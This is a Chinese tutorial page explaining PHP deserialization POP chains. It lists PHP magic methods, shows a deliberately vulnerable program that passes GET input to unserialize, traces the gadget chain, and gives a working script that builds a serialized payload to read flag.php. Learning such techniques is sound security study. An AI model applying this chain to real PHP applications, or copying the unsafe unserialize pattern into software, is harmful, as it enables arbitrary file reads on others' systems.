当前位置: 首页 > news >正文

反序列化POP链技术详解

POP( Procedure Oriented Programming )链是反序列化安全问题中相对比较重要的技术点,相比于其他的反序列化问题,这种漏洞的产生更加难以发现,以及在利用上也比较复杂。

要掌握这个东西首先要先了解面向对象中的几个特殊函数:

1. __call() 函数

当调用一个不可访问的方法时会自动调用本函数。这里的不可访问包含私有属性或未定义。

2. __get() 函数

当调用一个不可访问的属性的时候会自动调用本函数。这里的不可访问包含私有属性或未定义。

3. __set() 函数

当给不可访问的属性进行赋值的时候会自动运行本函数。

4. __toString() 函数

当将当前对象以字符串的形式进行输出时会执行这个函数中的代码。

5. __destruct() 函数

当对象操作执行完毕后自动执行__destruct()函数的代码。

6. __wakeup() 函数

在进行反序列化的时候会优先调用本函数。

7. __construct() 函数

初始化函数又叫构造函数,用来在创建对象的时候进行一些初始化操作,如执行函数、初始化变量。

这里我用一个网上的程序来讲一下,因为这个例子比较简单,适合刚接触的同学研究。过段时间会拿一个赛题来具体讲一下。

class C1e4r{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}class Show{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}class Test{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)

{

return $this->get($key);

}

public function get($key)

{

if(isset($this->params[$key])) {

$value = $this->params[$key];

} else {

$value = "index.php";

}

return $this->file_get($value);

}

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

}

$name=unserialize($_GET[strs]);

POP链的主要内容就是对象中的各个函数间的调用关系链,将每个函数的调用关系拼接起来就是我们的 POP 链。

那么根据这个思维来看上面的程序,我们首先确定好要调用Test类中的 file_get 方法来读取文件内容,为此我们需要使用 Test 类中的 get 方法来调用 file_get 方法,接下来发现 Test 类中的 __get 方法可以调用 get 方法从而调用 file_get 来读取文件。

那么现在的POP链就是:

Test::__get()->Test::get()->Test::get_file()

下面继续寻找能够触发__get()方法的途径。在 Show 类中看见有个 __toString 方法,其中能够调用一个属性进行赋值操作,这里可以触发 __get 方法,所以这里需要将创建的 Test 对象赋值给 $this->str['str'] ,那么如何去触发 __toString 方法?这里可以通过 C1e4r 类中的 __destruct 进行触发。

那么现在的POP链就很明了了 , 这里给的是逆向关系链。

((Test::__get()->Test::get()->Test::get_file())->Show::str[‘str’])->C1e4r::str

接下来构造利用脚本

<?php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $str;
public $source;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test{
public $file;
public $params;
}
$T=new Test();
$T->params=array('source'=>'flag.php');
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>
http://www.lryc.cn/news/391677.html

相关文章:

  • process.env.VUE_APP_BASE_API
  • 面试题--SpirngCloud
  • 中位数贪心,3086. 拾起 K 个 1 需要的最少行动次数
  • xml_woarchive undefined symbol
  • SiCat:一款多功能漏洞利用管理与搜索工具
  • 毕业论文初稿写作方法与过程
  • SLAM 精度评估
  • Postman使用教程
  • UDP协议深入解析
  • Rethinking Federated Learning with Domain Shift: A Prototype View
  • 打卡第2天----数组双指针,滑动窗口
  • Running cmake version 2.8.12.2解决方案
  • stm32中IIC通讯协议
  • 允许防火墙通过端口 6379(通常用于 Redis 服务)那些年因为连接失败而一起熬过的夜
  • tsconfig.json的include和exclude作用
  • firewalld(8) policies
  • 为什么进口主食冻干那么高贵?必入榜主食冻干总结分享
  • 状态模式在金融业务中的应用及其框架实现
  • redis学习(002 安装redis和客户端)
  • 在线客服系统多国语言,适合跨境外贸业务对外沟通 ,哈萨克语客服系统,根据浏览器语种标识自动切换...
  • 等保2.0是否强制要求所有物联网设备都必须支持自动更新?
  • gin框架解决跨域问题
  • 4.判断登录用户选择按钮的展示
  • 【硬核科普】存算一体化系统(Processing-in-Memory, PIM)深入解析
  • 基于Java的壁纸网站设计与实现
  • Zookeeper底层原理
  • Spring Boot 事件监听机制实战【自定义 Spring Boot 事件监听】
  • AIGC笔记--Stable Diffusion源码剖析之DDIM
  • 【BUUCTF-PWN】13-jarvisoj_level2_x64
  • 项目实战--Spring Boot 3整合Flink实现大数据文件处理